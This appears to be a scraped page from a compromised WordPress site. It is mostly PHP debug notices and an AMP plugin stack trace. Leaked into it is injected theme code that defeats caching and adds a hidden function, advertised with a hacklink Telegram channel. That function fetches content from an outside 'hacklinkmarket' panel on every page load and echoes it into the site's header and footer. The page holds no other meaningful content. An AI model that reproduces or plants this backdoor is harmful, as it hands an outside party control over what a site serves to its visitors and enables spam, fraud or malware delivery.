Notice: Function amp_has_paired_endpoint was called incorrectly. Function cannot be called before services are registered. The service ID "paired_routing" is not recognized and cannot be retrieved. Please see Debugging in WordPress for more information. (This message was added in version 2.1.1.) in /home/parhudrw/saifookhan.com/wp-includes/functions.php on line 6085
Notice: Function amp_is_available was called incorrectly. `amp_is_available()` (or `amp_is_request()`, formerly `is_amp_endpoint()`) was called too early and so it will not work properly. WordPress is not currently doing any hook. Calling this function before the `wp` action means it will not have access to `WP_Query` and the queried object to determine if it is an AMP response, thus neither the `amp_skip_post()` filter nor the AMP enabled toggle will be considered. The function was called too early (before the plugins_loaded action) to determine the plugin source. Please see Debugging in WordPress for more information. (This message was added in version 2.0.0.) in /home/parhudrw/saifookhan.com/wp-includes/functions.php on line 6085
Notice: Function amp_has_paired_endpoint was called incorrectly. Function cannot be called before services are registered. The service ID "paired_routing" is not recognized and cannot be retrieved. Please see Debugging in WordPress for more information. (This message was added in version 2.1.1.) in /home/parhudrw/saifookhan.com/wp-includes/functions.php on line 6085
Notice: Function amp_is_available was called incorrectly. `amp_is_available()` (or `amp_is_request()`, formerly `is_amp_endpoint()`) was called too early and so it will not work properly. WordPress is not currently doing any hook. Calling this function before the `wp` action means it will not have access to `WP_Query` and the queried object to determine if it is an AMP response, thus neither the `amp_skip_post()` filter nor the AMP enabled toggle will be considered. The function was called too early (before the plugins_loaded action) to determine the plugin source. Please see Debugging in WordPress for more information. (This message was added in version 2.0.0.) in /home/parhudrw/saifookhan.com/wp-includes/functions.php on line 6085
Notice: Function amp_is_available was called incorrectly. `amp_is_available()` (or `amp_is_request()`, formerly `is_amp_endpoint()`) was called too early and so it will not work properly. WordPress is currently doing the `plugins_loaded` hook. Calling this function before the `wp` action means it will not have access to `WP_Query` and the queried object to determine if it is an AMP response, thus neither the `amp_skip_post()` filter nor the AMP enabled toggle will be considered. It appears the plugin with slug `google-analytics-for-wordpress` is responsible; please contact the author. Please see Debugging in WordPress for more information. (This message was added in version 2.0.0.) in /home/parhudrw/saifookhan.com/wp-includes/functions.php on line 6085
add_action("init",function(){if(!defined("DONOTCACHEPAGE")){define("DONOTCACHEPAGE",true);}if(defined("LSCACHE_NO_CACHE")){header("X-LiteSpeed-Control: no-cache");}if(function_exists("nocache_headers")){nocache_headers();}if(!headers_sent()){header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");header("Pragma: no-cache");header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");header("X-Accel-Expires: 0");header("X-Cache-Control: no-cache");header("CF-Cache-Status: BYPASS");header("X-Forwarded-Proto: *");}if(defined("WP_CACHE")&&WP_CACHE){define("DONOTCACHEPAGE",true);}if(defined("ELEMENTOR_VERSION")&&\Elementor\Plugin::$instance->preview->is_preview_mode()){return;}if(function_exists("wp_cache_flush")){wp_cache_flush();}});add_action("wp_head",function(){if(!headers_sent()){header("X-Robots-Tag: noindex, nofollow");header("X-Frame-Options: SAMEORIGIN");}},1);add_action("wp_footer",function(){if(function_exists("w3tc_flush_all")){w3tc_flush_all();}if(function_exists("wp_cache_clear_cache")){wp_cache_clear_cache();}},999);
/* Telegram: https://t.me/hacklink_panel */
if(!function_exists('wp_core_check')){function wp_core_check(){static $done=false;if($done){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$u="https://panel.hacklinkmarket.com/code?v=".time();$d=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?"https://":"http://").$_SERVER['HTTP_HOST']."/";if(function_exists('curl_init')){$h=curl_init();curl_setopt_array($h,[CURLOPT_URL=>$u,CURLOPT_HTTPHEADER=>["X-Request-Domain:".$d,"User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$r=@curl_exec($h);$c=curl_getinfo($h,CURLINFO_HTTP_CODE);curl_close($h);if($r!==false&&$c===200&&!empty($r)){$done=true;echo $r;return;}}if(ini_get('allow_url_fopen')){$o=['http'=>['header'=>'X-Request-Domain:'.$d,'timeout'=>10],'ssl'=>['verify_peer'=>false]];if($r=@file_get_contents($u,false,stream_context_create($o))){$done=true;echo $r;return;}}if(function_exists('fopen')){if($f=@fopen($u,'r')){$r='';while(!feof($f))$r.=fread($f,8192);fclose($f);if($r){$done=true;echo $r;return;}}}}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);}
Notice: Constant DONOTCACHEPAGE already defined in /home/parhudrw/saifookhan.com/wp-content/themes/expertly/functions.php on line 223
Failed to prepare AMP page
Failed to prepare AMP page
A PHP error occurred while trying to prepare the AMP response. This may not be caused by the AMP plugin but by some other active plugin or the current theme. You will need to review the error details to determine the source of the error.
If you get stuck, you may want to share any details in a new topic on the plugin's support forum.
Call to a member function hasAttribute() on null (0) [Error]
/home/parhudrw/saifookhan.com/wp-content/plugins/amp/vendor/ampproject/amp-toolbox/src/Dom/Document.php:401
#0 /home/parhudrw/saifookhan.com/wp-content/plugins/amp/vendor/ampproject/amp-toolbox/src/Dom/Document.php(337): AmpProject\Dom\Document->loadHTMLFragment('<!doctype html>...', Array)
#1 /home/parhudrw/saifookhan.com/wp-content/plugins/amp/vendor/ampproject/amp-toolbox/src/Dom/Document.php(234): AmpProject\Dom\Document->loadHTML('<!doctype html>...', Array)
#2 /home/parhudrw/saifookhan.com/wp-content/plugins/amp/includes/class-amp-theme-support.php(1976): AmpProject\Dom\Document::fromHtml('<!doctype html>...', Array)
#3 /home/parhudrw/saifookhan.com/wp-content/plugins/amp/includes/class-amp-theme-support.php(1739): AMP_Theme_Support::prepare_response('<!doctype html>...')
#4 [internal function]: AMP_Theme_Support::finish_output_buffering('<!doctype html>...', 9)
#5 /home/parhudrw/saifookhan.com/wp-includes/functions.php(5427): ob_end_flush()
#6 /home/parhudrw/saifookhan.com/wp-includes/class-wp-hook.php(324): wp_ob_end_flush_all('')
#7 /home/parhudrw/saifookhan.com/wp-includes/class-wp-hook.php(348): WP_Hook->apply_filters(NULL, Array)
#8 /home/parhudrw/saifookhan.com/wp-includes/plugin.php(517): WP_Hook->do_action(Array)
#9 /home/parhudrw/saifookhan.com/wp-includes/load.php(1280): do_action('shutdown')
#10 [internal function]: shutdown_action_hook()
#11 {main}
Go to non-AMP version